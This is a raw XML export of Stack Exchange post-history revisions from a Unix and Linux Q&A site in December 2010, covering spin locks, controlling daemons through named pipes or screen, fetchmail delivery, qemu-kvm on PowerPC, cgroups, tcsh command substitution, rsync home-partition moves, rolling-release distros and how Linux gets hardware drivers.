  <row Id="11300" PostHistoryTypeId="2" PostId="5104" RevisionGUID="1dd5c086-d330-47ea-9e0d-4694ca759666" CreationDate="2010-12-22T23:19:49.193" UserId="1942" Text="When a thread tries to acquire a lock, three things can happen if it fails, it can try and block, it can try and continue, it can try then go to sleep telling the OS to wakle it up when some event happens.&#xD;&#xA;&#xD;&#xA;Now a try and continue uses a lot less time then a try and block. Let's say for the moment that a &quot;try and continue&quot; will take i unit of time and a &quot;try and block &quot; will take a hundred.&#xD;&#xA;&#xD;&#xA;Now let us for the moment assume that on the average a thread will take 4 units of time holding the lock. It's wasteful to wait 100 units. So instead you write a loop of &quot;try and continues&quot;. On the forth attempt you will usually acquire the lock. This is a spin lock.&#xD;&#xA;It's called that because the thread keeps spinning in place till it gets the lock.&#xD;&#xA;&#xD;&#xA;An added safety measure is to limit the number of times the loop runs. So in the example you make a for loop run eg six times, if it fails then you &quot;try and block&quot;.&#xD;&#xA;&#xD;&#xA;If you know that a thread will always hold the lock for say 200 units, then you are wasting the computer time for each try and continue.&#xD;&#xA;&#xD;&#xA;So in the end, a spin lock can be very efficient or wasteful. It is wasteful when the &quot;typical&quot; time to hold a lock is higher then the time it takes to &quot;try and block&quot;. It is efficient when the typical time to hold a lock is much smaller then the time to 'try and block&quot;.&#xD;&#xA;&#xD;&#xA;Ps: THe book to read on threads is &quot;A Thread Primer&quot;, if you can still find it." />
  <row Id="11301" PostHistoryTypeId="5" PostId="5101" RevisionGUID="0d450745-df19-432e-9882-21c8a65d07d5" CreationDate="2010-12-22T23:41:23.037" UserId="885" Comment="added named pipe solution; added 12 characters in body" Text="### Read from a pipe, write to a file&#xD;&#xA;&#xD;&#xA;    mkfifo /var/run/daemon.fifo&#xD;&#xA;    &lt;/var/run/daemon.fifo tail -c +1 -f | {&#xD;&#xA;      echo $$ &gt;/var/run/daemon.pid&#xD;&#xA;      exec /path/to/daemond --option &gt;daemon.log&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The pipe through `tail -f` is necessary if the daemon exits when it sees an end of file on its standard input. `tail -f` avoids that problem.&#xD;&#xA;&#xD;&#xA;With some `tail` implementations, you may get bitten by buffering: the `tail` process will wait until it has amassed enough bytes to emit some output. I don't think this is solvable in the POSIX toolbox; if that's a problem, use a trivial C or Perl or Python program. As far as I can tell the `tail` from GNU coreutils (as found on Linux and elsewhere) is safe on this respect.&#xD;&#xA;&#xD;&#xA;Write commands to the pipe:&#xD;&#xA;&#xD;&#xA;    echo 'FORWARD 10' &gt;/var/run/daemon.fifo&#xD;&#xA;    echo 'LEFT 72' &gt;/var/run/daemon.fifo&#xD;&#xA;&#xD;&#xA;When you stop the daemon, `echo &gt;/var/run/daemon.fifo` will kill the `tail` process.&#xD;&#xA;&#xD;&#xA;### Starting the program inside screen&#xD;&#xA;&#xD;&#xA;Instead of invoking the daemon directly from your service manager (are you really using just SysV init, or something additional like wrapper scripts or Upstart?), invoke&#xD;&#xA;&#xD;&#xA;    screen -c daemon.screenrc -L -d -m -S daemon_name /path/to/daemond --option&#xD;&#xA;&#xD;&#xA;Since the daemon won't be a child process of the service manager, you need to make sure to send a signal to the right process. How to do that depends on exactly how the daemon is started and by what.&#xD;&#xA;&#xD;&#xA;It's [technically possible](http://unix.stackexchange.com/questions/4034/how-can-i-pause-up-a-running-process-over-ssh-disown-it-associate-it-to-a-new-s) to attach a running process to a terminal, but there's a risk you'll crash the program, so this is definitely out for a production system.&#xD;&#xA;&#xD;&#xA;The `-L` option makes screen write everything that appears in its window to a file. The file name is given in `daemon.screenrc` with the `logfile` directive.&#xD;&#xA;" />
  <row Id="11302" PostHistoryTypeId="2" PostId="5105" RevisionGUID="69157897-fea6-4b89-8cda-887840050890" CreationDate="2010-12-22T23:57:17.943" UserId="885" Text="Use the [`mda` option in your `.fetchmailrc`](http://fetchmail.berlios.de/fetchmail-man.html#9) to specify [maildrop](http://www.courier-mta.org/maildrop/) or [procmail](http://www.procmail.org/) as your MDA.&#xD;&#xA;&#xD;&#xA;    mda &quot;/usr/bin/maildrop&quot;&#xD;&#xA;&#xD;&#xA;This will deposit the mail in the system mailbox (typically `/var/spool/mail/handygandy` or `/var/mail/handygandy`). If you want it elsewhere, or if you want to dispatch the mails based on their content, write a [`~/.mailfilter`](http://www.courier-mta.org/maildrop/maildropfilter.html) [file](http://www.courier-mta.org/maildrop/maildropex.html).&#xD;&#xA;&#xD;&#xA;    to mail/fetched&#xD;&#xA;" />
  <row Id="11303" PostHistoryTypeId="5" PostId="5101" RevisionGUID="0a011188-6a25-42a0-8c37-19ea09203c1d" CreationDate="2010-12-23T00:41:08.343" UserId="885" Comment="explain the use of a named pipe a little more" Text="### Read from a pipe, write to a file&#xD;&#xA;&#xD;&#xA;If you want the daemon to read input produced by some arbitrary process, you need to connect that process to a pipe. Here the arbitrary process is you echoing commands, and it's going to run in a different context. So create a [named pipe](http://en.wikipedia.org/wiki/Named_pipe) (often called a fifo in unix contexts).&#xD;&#xA;&#xD;&#xA;    mkfifo /var/run/daemon.fifo&#xD;&#xA;    &lt;/var/run/daemon.fifo /path/to/daemond --option &gt;daemon.log&#xD;&#xA;&#xD;&#xA;And just write commands to the pipe:&#xD;&#xA;&#xD;&#xA;    echo 'FORWARD 10' &gt;/var/run/daemon.fifo&#xD;&#xA;    echo 'LEFT 72' &gt;/var/run/daemon.fifo&#xD;&#xA;&#xD;&#xA;This is unlikely to work as is however: there's a good chance that the daemon will exit when it sees an end of file on its standard input, which happens as soon as the first process that writes to the pipe terminates. You can use `tail -f` to avoid that problem.&#xD;&#xA;&#xD;&#xA;    &lt;/var/run/daemon.fifo tail -c +1 -f | {&#xD;&#xA;      echo $$ &gt;/var/run/daemon.pid&#xD;&#xA;      exec /path/to/daemond --option &gt;daemon.log&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With some `tail` implementations, you may get bitten by buffering: the `tail` process will wait until it has amassed enough bytes to emit some output. I don't think this is solvable in the POSIX toolbox; if that's a problem, use a trivial C or Perl or Python program. As far as I can tell the `tail` from GNU coreutils (as found on Linux and elsewhere) is safe on this respect.&#xD;&#xA;&#xD;&#xA;When you stop the daemon, `echo &gt;/var/run/daemon.fifo` will kill the `tail` process.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;### Starting the program inside screen&#xD;&#xA;&#xD;&#xA;Instead of invoking the daemon directly from your service manager (are you really using just SysV init, or something additional like wrapper scripts or Upstart?), invoke&#xD;&#xA;&#xD;&#xA;    screen -c daemon.screenrc -L -d -m -S daemon_name /path/to/daemond --option&#xD;&#xA;&#xD;&#xA;Since the daemon won't be a child process of the service manager, you need to make sure to send a signal to the right process. How to do that depends on exactly how the daemon is started and by what.&#xD;&#xA;&#xD;&#xA;It's [technically possible](http://unix.stackexchange.com/questions/4034/how-can-i-pause-up-a-running-process-over-ssh-disown-it-associate-it-to-a-new-s) to attach a running process to a terminal, but there's a risk you'll crash the program, so this is definitely out for a production system.&#xD;&#xA;&#xD;&#xA;The `-L` option makes screen write everything that appears in its window to a file. The file name is given in `daemon.screenrc` with the `logfile` directive.&#xD;&#xA;" />
  <row Id="11304" PostHistoryTypeId="5" PostId="4903" RevisionGUID="41905f49-b5b6-4eeb-a8f9-efcaabdb526f" CreationDate="2010-12-23T10:19:41.540" UserId="3158" Comment="added 163 characters in body" Text="I am emulating powerpc using qemu-system-ppc on top of x86, and running debian-lenny-ppc with it. I want to install kvm inside that debian. I have learned that the kvm and qemu-kvm packages are [not available](http://packages.debian.org/search?suite=default&amp;section=all&amp;arch=any&amp;searchon=names&amp;keywords=kvm) for the powerpc architecture.  &#xD;&#xA;  &#xD;&#xA;I have found two packages (kvm-source and [Edit1]qemu) and installed it, but I don't know how to proceed with it further. How do I install kvm on powerpc? Do I need to cross-compile it as well, as given on http://www.linux-kvm.org/page/PowerPC_Host_Userspace?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Edit1]:  &#xD;&#xA;Approach1: I downloaded qemu-kvm source code (http://sourceforge.net/projects/kvm/files/qemu-kvm/0.13.0/qemu-kvm-0.13.0.tar.gz/download) , configured  &#xD;&#xA;&#xD;&#xA;    #./configure --target-list=&quot;ppc-softmmu&quot; &#xD;&#xA;    #make  &#xD;&#xA;&#xD;&#xA;But I am getting this error:&#xD;&#xA;&#xD;&#xA;    CC    ppc-softmmu/virtio-pci.o&#xD;&#xA;    ~/qemu-kvm-0.13.0/hw/virtio-pci.c: In function 'virtio_pci_mask_notifier':&#xD;&#xA;    ~/qemu-kvm-0.13.0/hw/virtio-pci.c:436: error: invalid use of undefined &#xD;&#xA;    type 'struct kvm_irq_routing_entry'&#xD;&#xA;    ~/qemu-kvm-0.13.0/hw/virtio-pci.c:436: error: dereferencing pointer to &#xD;&#xA;    incomplete type&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11305" PostHistoryTypeId="2" PostId="5106" RevisionGUID="2ae406ef-002e-48ed-9f00-5d032853e6fc" CreationDate="2010-12-23T10:35:58.100" UserId="2469" Text="There used to be a kernel config option called sched_user or similar under cgroups. This allowed (to my knowledge) all users to fairly share system resources. In 2.6.35 it is not available. Is there a way I can configure my system to automatically share io/cpu/memory resources between all users (including root?). I have never set up a cgroup before, is there a good tutorial for doing so? Thank you very much." />
  <row Id="11306" PostHistoryTypeId="1" PostId="5106" RevisionGUID="2ae406ef-002e-48ed-9f00-5d032853e6fc" CreationDate="2010-12-23T10:35:58.100" UserId="2469" Text="How can I configure cgroups to fairly share resources between users?" />
  <row Id="11307" PostHistoryTypeId="3" PostId="5106" RevisionGUID="2ae406ef-002e-48ed-9f00-5d032853e6fc" CreationDate="2010-12-23T10:35:58.100" UserId="2469" Text="ékernelàéperformanceàéadministrationà" />
  <row Id="11308" PostHistoryTypeId="2" PostId="5107" RevisionGUID="67b21103-cbac-4667-a1bc-2664ca194758" CreationDate="2010-12-23T14:04:11.350" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I understand that Spinlocks are real waste in Linux Kernel Design.&#xD;&#xA;I would like to know why is it like spin locks  are good choices in Linux Kernel Design instead of something more common in userland code, like semaphore or mutex?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11309" PostHistoryTypeId="1" PostId="5107" RevisionGUID="67b21103-cbac-4667-a1bc-2664ca194758" CreationDate="2010-12-23T14:04:11.350" UserId="2871" Text="Why is spin locks good choices in Linux Kernel Design instead of something more common in userland code, like semaphore or mutex" />
  <row Id="11310" PostHistoryTypeId="3" PostId="5107" RevisionGUID="67b21103-cbac-4667-a1bc-2664ca194758" CreationDate="2010-12-23T14:04:11.350" UserId="2871" Text="élinuxàésemaphoreàéspinlockàémutexà" />
  <row Id="11312" PostHistoryTypeId="4" PostId="5107" RevisionGUID="fe0e5d1f-5bb9-41c1-849d-55cb70853c57" CreationDate="2010-12-23T14:53:16.957" UserId="2871" Comment="edited title" Text="Why is spin locks good choices in Linux Kernel Design instead of something more common in userland code, like semaphore or mutex?" />
  <row Id="11313" PostHistoryTypeId="2" PostId="5109" RevisionGUID="30fa7ede-68ec-47c9-8805-3618aa03a345" CreationDate="2010-12-23T15:25:14.227" UserId="1144" Text="The choice between a spinlock and another construct which causes the caller to block and relinquish control of a cpu is to a large extent governed by the time it takes to perform a context switch (save registers/state in the locking thread and restore registers/state in another thread). The time it takes and also the cache cost of doing this can be significant. &#xD;&#xA;&#xD;&#xA;If a spinlock is being used to protect access to hardware registers or similar where any other thread that is accessing is only going to take a matter of milliseconds or less before it releases the lock then it is a much better use of cpu time to spin waiting rather than to context switch and carry on." />
  <row Id="11315" PostHistoryTypeId="5" PostId="5096" RevisionGUID="dc105cb0-7c67-452e-9fa2-c1decfdf3fdd" CreationDate="2010-12-23T16:18:40.013" UserId="2689" Comment="added 156 characters in body" Text="I'm used to *modeless* editors. Only the past year I've been using vim/gvim, which has a *[modal][1]* approach.&#xD;&#xA;&#xD;&#xA;I'm used to tabs in all editors, since before vim all of them are used to it. In gvim, you don't necessarily need to use tabs: you can just use buffers.&#xD;&#xA;&#xD;&#xA;My question is: what are the advantages/disadvantages between these two approaches  (buffers vs tabs)? Why do these both options exist?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Vim_(text_editor)#Modal_editing" />
  <row Id="11316" PostHistoryTypeId="5" PostId="5107" RevisionGUID="e2bf20b6-1381-4a21-95d4-db4e020c53b0" CreationDate="2010-12-23T16:23:38.080" UserId="1207" Comment="deleted 22 characters in body; edited title" Text="I understand that Spinlocks are real waste in Linux Kernel Design.&#xD;&#xA;&#xD;&#xA;I would like to know why is it like spin locks  are good choices in Linux Kernel Design instead of something more common in userland code, such as semaphore or mutex?  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="11317" PostHistoryTypeId="4" PostId="5107" RevisionGUID="e2bf20b6-1381-4a21-95d4-db4e020c53b0" CreationDate="2010-12-23T16:23:38.080" UserId="1207" Comment="deleted 22 characters in body; edited title" Text="Why are spin locks good choices in Linux Kernel Design instead of something more common in userland code, such as semaphore or mutex?" />
  <row Id="11318" PostHistoryTypeId="6" PostId="5106" RevisionGUID="628dcc9c-9d4d-401b-aac5-7302ff18f9f6" CreationDate="2010-12-23T18:59:14.313" UserId="885" Comment="edited tags" Text="élinuxàékernelàéperformanceàéadministrationà" />
  <row Id="11319" PostHistoryTypeId="2" PostId="5110" RevisionGUID="4f09fa1a-2663-4ed8-bcfc-0b67bb2cae23" CreationDate="2010-12-23T19:01:01.777" UserId="3283" Text="I posted a comment on DistroWatch suggesting a list rolling release distros.&#xD;&#xA;&#xD;&#xA;Let's start our own page on Wikipedia!&#xD;&#xA;&#xD;&#xA;They have a very small page for &quot;Rolling Release&quot; only.&#xD;&#xA;&#xD;&#xA;Let's start a page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I too have been trying to find a good guide to all rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me do such either create the page &amp; I will contribute to it or email my screen name at gmail if you like the idea.&#xD;&#xA;&#xD;&#xA;I will get myself a Wikipedia account so that I can contribute and help start the page.&#xD;&#xA;&#xD;&#xA;I would like to collaborate on the page though as I've only used Linux for a year or so &amp; am still something of a newbie. " />
  <row Id="11320" PostHistoryTypeId="5" PostId="5110" RevisionGUID="e3292e2f-5b73-4ee1-845b-79612ddb3217" CreationDate="2010-12-23T19:31:02.100" UserId="3283" Comment="added 783 characters in body" Text="I posted a comment on DistroWatch suggesting a list rolling release distros.&#xD;&#xA;&#xD;&#xA;Let's start our own page on Wikipedia!&#xD;&#xA;&#xD;&#xA;They have a very small page for &quot;Rolling Release&quot; only.&#xD;&#xA;&#xD;&#xA;Let's start a page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I too have been trying to find a good guide to all rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me do such either create the page &amp; I will contribute to it or email my screen name at gmail if you like the idea.&#xD;&#xA;&#xD;&#xA;I will get myself a Wikipedia account so that I can contribute and help start the page.&#xD;&#xA;&#xD;&#xA;I would like to collaborate on the page though as I've only used Linux for a year or so &amp; am still something of a newbie.&#xD;&#xA;&#xD;&#xA;PS In regards to the question, here's a short list; [?]=not-sure BTW:&#xD;&#xA;&#xD;&#xA;Arch based: Chakra; ArchBang; &amp; Arch of course.&#xD;&#xA;&#xD;&#xA;Debian based: Aptosid; antiX; LMDE (Note: antiX &amp; LMDE are based on Testing so &quot;cycle&quot; rather than &quot;roll&quot;).&#xD;&#xA;&#xD;&#xA;Mandriva forks: PCLOS; Unity; Mageia[?] (Mageia is still discussing the matter).&#xD;&#xA;&#xD;&#xA;Gentoo base: Funtoo; Sabayon; Toorox[?], Calculate[?]; &amp; Gentoo of course.&#xD;&#xA;&#xD;&#xA;Misc source based: Lunar, Sorcerer, SourceMage.&#xD;&#xA;&#xD;&#xA;Others: Yoper; OpenSuSE-Tumbleweed.&#xD;&#xA;&#xD;&#xA;Also: Most dev. branches are &quot;psuedo-rolling&quot;.&#xD;&#xA;&#xD;&#xA;Future: Debian &amp; Fedora may at some point release a seperate rolling distro. There has been some slight talk on their dev.-wikis about this. With LMDE, OpenSuSE-Tumbleweed (and maybe Mageia), Debian &amp; Fedora may decide to go ahead with such..." />
  <row Id="11321" PostHistoryTypeId="2" PostId="5111" RevisionGUID="c7928280-729d-4144-b1f4-ecb46c7971a5" CreationDate="2010-12-23T20:42:08.890" UserId="676" Text="I think the correct operator for executing subshell command in tcsh is the backtick ` but when I attempt to do a diff on the results of two commands I get an error.  When I direct the information to files first and do a diff on the two files I get exactly what I want but I'd rather just use a single command like:&#xD;&#xA;&#xD;&#xA;diff \`jar -tvf org.jar\` \`jar -tvf new.jar\`&#xD;&#xA;&#xD;&#xA;What is the correct syntax in a tcsh?" />
  <row Id="11322" PostHistoryTypeId="1" PostId="5111" RevisionGUID="c7928280-729d-4144-b1f4-ecb46c7971a5" CreationDate="2010-12-23T20:42:08.890" UserId="676" Text="Operate on results of tcsh information" />
  <row Id="11323" PostHistoryTypeId="3" PostId="5111" RevisionGUID="c7928280-729d-4144-b1f4-ecb46c7971a5" CreationDate="2010-12-23T20:42:08.890" UserId="676" Text="élinuxàécommandölineàéunixàédiffàétcshà" />
  <row Id="11324" PostHistoryTypeId="2" PostId="5112" RevisionGUID="5d8a1d12-c1a8-43d4-b516-13c3de1430e1" CreationDate="2010-12-23T21:17:10.457" UserId="885" Text="You have the correct syntax for a command substitution. But what you need to pass to `diff` are two file *names*, not two file *contents*, which is what you're trying to pass. (What you're actually passing is in fact more complicated, but if you'd written ``diff &quot;`jar -tvf org.jar`&quot; &quot;`jar -tvf new.jar`&quot;``, you'd be passing two file contents.)&#xD;&#xA;&#xD;&#xA;I don't think tcsh has a way to do what you're trying to do, without creating a temporary file. In ksh, bash or zsh, you can do it this way:&#xD;&#xA;&#xD;&#xA;    diff &lt;(jar -tvf org.jar) &lt;(jar -tvf new.jar)&#xD;&#xA;" />
  <row Id="11325" PostHistoryTypeId="6" PostId="5111" RevisionGUID="f43c71db-978d-4781-97e5-637cd463315a" CreationDate="2010-12-23T21:18:49.053" UserId="885" Comment="edited tags; edited title; added 4 characters in body; edited title" Text="étcshà" />
  <row Id="11326" PostHistoryTypeId="4" PostId="5111" RevisionGUID="f43c71db-978d-4781-97e5-637cd463315a" CreationDate="2010-12-23T21:18:49.053" UserId="885" Comment="edited tags; edited title; added 4 characters in body; edited title" Text="Operate on command output in tcsh" />
  <row Id="11327" PostHistoryTypeId="5" PostId="5111" RevisionGUID="f43c71db-978d-4781-97e5-637cd463315a" CreationDate="2010-12-23T21:18:49.053" UserId="885" Comment="edited tags; edited title; added 4 characters in body; edited title" Text="I think the correct operator for executing subshell command in tcsh is the backtick `` ` `` but when I attempt to do a diff on the results of two commands I get an error.  When I direct the information to files first and do a diff on the two files I get exactly what I want but I'd rather just use a single command like:&#xD;&#xA;&#xD;&#xA;    diff `jar -tvf org.jar` `jar -tvf new.jar`&#xD;&#xA;&#xD;&#xA;What is the correct syntax in tcsh?" />
  <row Id="11328" PostHistoryTypeId="2" PostId="5113" RevisionGUID="c7fb52e2-cdb6-4275-b2d0-f3e221ec244c" CreationDate="2010-12-23T22:24:19.323" UserId="48" Text="I was running low in disk space on my Linux box, Ubuntu 10.10 Desktop, (specifically on my /home partition) so I added another disk to it and I am trying to move the home partition into it.&#xD;&#xA;&#xD;&#xA;I am trying to follow the steps on this guide here: https://help.ubuntu.com/community/Partitioning/Home/Moving&#xD;&#xA;&#xD;&#xA;However, when copying the files over to the new mounted partition rsync seems to fail silently. When I compare the folders, the new one is still empty.&#xD;&#xA;&#xD;&#xA;This is the command that I am executing:&#xD;&#xA;&#xD;&#xA;sudo rsync -axS --exclude='/*/.gvfs' /home/. /media/home/.&#xD;&#xA;Has it anything to do with the encryption on my home folder?" />
  <row Id="11329" PostHistoryTypeId="1" PostId="5113" RevisionGUID="c7fb52e2-cdb6-4275-b2d0-f3e221ec244c" CreationDate="2010-12-23T22:24:19.323" UserId="48" Text="Problems moving home partition" />
  <row Id="11330" PostHistoryTypeId="3" PostId="5113" RevisionGUID="c7fb52e2-cdb6-4275-b2d0-f3e221ec244c" CreationDate="2010-12-23T22:24:19.323" UserId="48" Text="éubuntuàépartitionà" />
  <row Id="11332" PostHistoryTypeId="2" PostId="5115" RevisionGUID="066bb476-1d8c-4941-b440-053d0250c92e" CreationDate="2010-12-23T22:53:06.420" UserId="1974" Text="Try adding the &quot;verbose&quot; flag to rsync, and see what that says:&#xD;&#xA;&#xD;&#xA;    rsync -avxS --exclude='/*/.gvfs' /home/. /media/home/.&#xD;&#xA;&#xD;&#xA;Edit your question to include the results, and we'll be able to help you further.&#xD;&#xA;&#xD;&#xA;Also, I'm not sure why you're going with `/home/.`, try just `/home/`:&#xD;&#xA;&#xD;&#xA;    rsync -avxS --exclude='/*/.gvfs' /home/ /media/home/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:** Also, please make sure you're *not* logged in to any user with an encrypted home directory. If all users have encrypted home directories, add a user who does not first, and use that user to copy." />
  <row Id="11339" PostHistoryTypeId="2" PostId="5117" RevisionGUID="2c89b5ab-b5a7-4f47-9a01-aa4220d34670" CreationDate="2010-12-24T00:11:36.990" UserId="3086" Text="How do you I to imagine the development process that takes place when new Hardware Support should be implemented in the Linux system.&#xD;&#xA;&#xD;&#xA;I.e. there's a company A that releases a new Graphics Adapter. Who manages the process that this new graphics adapter is in the future supported by the linux kernel? And how does this proceed?&#xD;&#xA;&#xD;&#xA;I mean for windows the companies develop drivers on their own, but how get Linux this specific Hardware Support if it gets it?" />
  <row Id="11340" PostHistoryTypeId="1" PostId="5117" RevisionGUID="2c89b5ab-b5a7-4f47-9a01-aa4220d34670" CreationDate="2010-12-24T00:11:36.990" UserId="3086" Text="How do I have to imagine the development process that takes place when new Hardware Support should be implemented in the Linux system?" />
  <row Id="11341" PostHistoryTypeId="3" PostId="5117" RevisionGUID="2c89b5ab-b5a7-4f47-9a01-aa4220d34670" CreationDate="2010-12-24T00:11:36.990" UserId="3086" Text="élinuxàédriversà" />
  <row Id="11342" PostHistoryTypeId="5" PostId="5110" RevisionGUID="a424c931-cd50-4eef-b43f-9f09c1066661" CreationDate="2010-12-24T01:05:43.677" UserId="3283" Comment="added 11 characters in body; added 14 characters in body" Text="I posted a comment on DistroWatch suggesting a list rolling release distros.&#xD;&#xA;&#xD;&#xA;Let's start our own page on Wikipedia!&#xD;&#xA;&#xD;&#xA;They have a very small page for &quot;Rolling Release&quot; only.&#xD;&#xA;&#xD;&#xA;Let's start a page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I too have been trying to find a good guide to all rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me do such either create the page &amp; I will contribute to it or email my screen name at gmail if you like the idea.&#xD;&#xA;&#xD;&#xA;I will get myself a Wikipedia account so that I can contribute and help start the page.&#xD;&#xA;&#xD;&#xA;I would like to collaborate on the page though as I've only used Linux for a year or so &amp; am still something of a newbie.&#xD;&#xA;&#xD;&#xA;PS In regards to the question, here's a short list; [?]=not-sure BTW:&#xD;&#xA;&#xD;&#xA;Arch based: Chakra; ArchBang; &amp; Arch of course.&#xD;&#xA;&#xD;&#xA;Debian based: Aptosid[f.k.a. Sidux]; antiX; LMDE (Note: antiX &amp; LMDE are based on Testing so &quot;cycle&quot; rather than &quot;roll&quot;).&#xD;&#xA;&#xD;&#xA;Mandriva forks: PCLOS; Unity; Mageia[?] (Mageia is still discussing the matter).&#xD;&#xA;&#xD;&#xA;Gentoo base: Funtoo; Sabayon; Toorox[?], Calculate[?]; &amp; Gentoo of course.&#xD;&#xA;&#xD;&#xA;Misc source based: Lunar, Sorcerer, SourceMage.&#xD;&#xA;&#xD;&#xA;Others: Yoper; Foresight; OpenSuSE-Tumbleweed.&#xD;&#xA;&#xD;&#xA;Also: Most dev. branches are &quot;psuedo-rolling&quot;.&#xD;&#xA;&#xD;&#xA;Future: Debian &amp; Fedora may at some point release a seperate rolling distro. There has been some slight talk on their dev.-wikis about this. With LMDE, OpenSuSE-Tumbleweed (and maybe Mageia), Debian &amp; Fedora may decide to go ahead with such..." />
  <row Id="11343" PostHistoryTypeId="5" PostId="5110" RevisionGUID="33f6c2db-1bbf-498c-8447-47800fa3ff9b" CreationDate="2010-12-24T01:30:03.413" UserId="3283" Comment="added 129 characters in body" Text="I posted a comment on DistroWatch suggesting a list rolling release distros.&#xD;&#xA;&#xD;&#xA;Let's start our own page on Wikipedia!&#xD;&#xA;&#xD;&#xA;They have a very small page for &quot;Rolling Release&quot; only.&#xD;&#xA;&#xD;&#xA;Let's start a page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I too have been trying to find a good guide to all rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me do such either create the page &amp; I will contribute to it or email my screen name at gmail if you like the idea.&#xD;&#xA;&#xD;&#xA;I will get myself a Wikipedia account so that I can contribute and help start the page.&#xD;&#xA;&#xD;&#xA;I would like to collaborate on the page though as I've only used Linux for a year or so &amp; am still something of a newbie.&#xD;&#xA;&#xD;&#xA;PS In regards to the question, here's a short list; [?]=not-sure BTW:&#xD;&#xA;&#xD;&#xA;Arch based: Chakra; ArchBang; KahelOS; &amp; Arch of course.&#xD;&#xA;&#xD;&#xA;Debian based: Aptosid [f.k.a. Sidux]; antiX; LMDE (Note: antiX &amp; LMDE are based on Testing so &quot;cycle&quot; rather than &quot;roll&quot;).&#xD;&#xA;&#xD;&#xA;Mandriva forks: PCLOS; Unity; Mageia[?] (Mageia is still discussing whether to roll).&#xD;&#xA;&#xD;&#xA;Gentoo base: Funtoo; Sabayon; Toorox*, Calculate[?]; &amp; Gentoo of course.&#xD;&#xA;&#xD;&#xA;[*BTW I emailed the Toorox dev. &amp; he said the Toroox wrapper is not rolling]&#xD;&#xA;&#xD;&#xA;Misc source based: Lunar; Sorcerer; SourceMage [described as a wrapper around LFS].&#xD;&#xA;&#xD;&#xA;Others: Yoper; Foresight; OpenSuSE-Tumbleweed.&#xD;&#xA;&#xD;&#xA;Also: Most dev. branches are &quot;psuedo-rolling&quot;.&#xD;&#xA;&#xD;&#xA;Future: Debian &amp; Fedora may at some point release a seperate rolling distro. There has been some slight talk on their dev.-wikis about this. With LMDE, OpenSuSE-Tumbleweed (and maybe Mageia), Debian &amp; Fedora may decide to go ahead with such..." />
  <row Id="11344" PostHistoryTypeId="2" PostId="5118" RevisionGUID="9d5f4fe4-86cd-40eb-a83f-7fd76abacdb7" CreationDate="2010-12-24T01:41:57.527" UserId="138" Text="Driver support works the same way as with all of open source: someone decides to scratch their own itch.&#xD;&#xA;&#xD;&#xA;Sometimes the driver is supplied by the company providing the hardware, just as on Windows. Intel does this for their network chips, 3ware does this for their RAID controllers, etc. These companies have decided that it is in their best interest to provide the driver: their &quot;itch&quot; is to sell product to Linux users, and that means ensuring that there is a driver.&#xD;&#xA;&#xD;&#xA;In the best case, the company works hard to get their driver into the appropriate source base that ships with Linux distros. For most drivers, that means the Linux kernel. For graphics drivers, it means &lt;a href=&quot;http://www.x.org/wiki/&quot;&gt;X.org&lt;/a&gt;. There's also &lt;a href=&quot;http://cups.org/&quot;&gt;CUPS&lt;/a&gt; for printer drivers, &lt;a href=&quot;http://www.networkupstools.org/&quot;&gt;NUT&lt;/a&gt; for UPS drivers, &lt;a href=&quot;http://www.sane-project.org/&quot;&gt;SANE&lt;/a&gt; for scanner drivers, etc. The obvious benefit of doing this is that Linux distros made after the driver gets accepted will have support for the hardware out of the box. The biggest downside is that it's more work for the company to coordinate with the open source project to get their driver in, for the same basic reasons it's difficult for two separate groups to coordinate anything.&#xD;&#xA;&#xD;&#xA;Then there are those companies that choose to offer their driver source code directly, only. You typically have to download the driver source code from their web site, build it on your system, and install it by hand. Such companies are usually smaller or specialty manufacturers without enough employees that they can spare the effort to coordinate with the appropriate open source project to get their driver into that project's source base.&#xD;&#xA;&#xD;&#xA;A rare few companies provide binary-only drivers instead of source code. An example are the more advanced 3D drivers from companies like NVIDIA. Typically the reason for this is that the company doesn't want to give away information they feel proprietary about. Such drivers often don't work with as many Linux distros as with the previous cases, because the company providing the hardware doesn't bother to rebuild their driver to track API and ABI changes. It's possible for the end user or the Linux distro provider to tweak a driver provided as source code to track such changes, so in the previous two cases, the driver can usually be made to work with more systems than a binary driver will.&#xD;&#xA;&#xD;&#xA;When the company doesn't provide Linux drivers, someone in the community simply decides to do it. There are some large classes of hardware where this is common, like with UPSes and printers. It takes a rare user who a) has the hardware; b) has the time; c) has the skill; and d) has the inclination to spend the time to develop the driver. For popular hardware, this usually isn't a problem because with millions of Linux users, these few people do exist. You get into trouble with uncommon hardware." />
